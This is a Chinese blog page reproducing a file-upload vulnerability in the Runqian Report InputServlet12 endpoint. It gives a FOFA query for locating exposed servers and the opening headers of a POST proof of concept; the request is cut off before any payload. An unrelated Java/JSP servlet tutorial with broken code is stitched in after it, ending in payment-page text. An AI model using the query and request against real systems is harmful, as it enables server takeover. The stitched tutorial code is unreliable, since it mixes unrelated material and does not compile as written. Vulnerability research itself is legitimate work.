【漏洞复现】润乾报表InputServlet12文件上传漏洞

150 篇文章

已下架不支持订阅

本文介绍了润乾报表产品中InputServlet12接口的文件上传漏洞,详细阐述了漏洞描述,包括产品背景、攻击者可能利用此漏洞获取服务器权限的情况。同时,提供了搜索语法、漏洞POC及复现结果,详细解析了如何拼接访问URL进行漏洞验证。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞描述:

润乾报表是一款功能全面且性能卓越的报表产品。它专注于企业级BI产品的研发和推广,通过提供丰富的报表功能和高效的开发工具,帮助用户提升图表的开发效率,节省成本。

润乾报表InputServlet12接口存在文件上传漏洞,攻击者可利用漏洞获取服务器权限。

搜索语法:

Fofa-Query: body="润乾报表"

漏洞详情:

1.润乾报表产品。

2.漏洞POC:

POST /InputServlet?action=12 HTTP/1.1
Host: {
  {Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 355
Accept: 

已下架不支持订阅

首先,我们需要创建一个名为`UserName.java`的用户实体类,它通常是一个简单的Java类,包含用户的姓名属性和其他可能需要的数据字段: ```java // UserName.java import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.GenerationType; import javax.persistence.Id; @Entity public class UserName { @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; private String name; // getters and setters public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } // constructor and toString method for better representation public UserName(String name) { this.name = name; } } ``` 接下来,用户会在`formin.jsp`表单页面上输入他们的信息: ```jsp <!-- formin.jsp --> <form action="inputServlet" method="post"> <label for="name">用户名:</label> <input type="text" id="name" name="username" value="" required><br> <!-- other form fields... --> <input type="submit" value="提交"> </form> ``` 当用户点击提交按钮时,表单数据会被发送到`inputServlet`。在这个Servlet中,我们将使用JavaBean(这里我们假设已经导入了UserModel包下的UserName类)来处理并存储这些信息: ```java // inputServlet.java (部分代码) import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.annotation.WebServlet; @WebServlet("/inputServlet") public class InputServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String username = request.getParameter("username"); User user = new UserName(username); // Assuming you have a UserService or similar to store the user object userService.saveUser(user); request.getRequestDispatcher("formout.jsp").forward(request, response); } } ``` 然后,`formout.jsp`会显示保存的表单信息,并通过EL表达式获取JavaBean的属性: ```jsp <!-- formout.jsp --> <%@ page contentType="text/html;charset=UTF-8"%> <html> <body> <%@ include file="header.jsp" %> <h2>User Information:</h2> <p>用户名: ${user.name}</p> <!-- display any additional attributes as needed --> <p>Email: ${user.email} (假设email也是一个属性)</p> </body> </html> ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值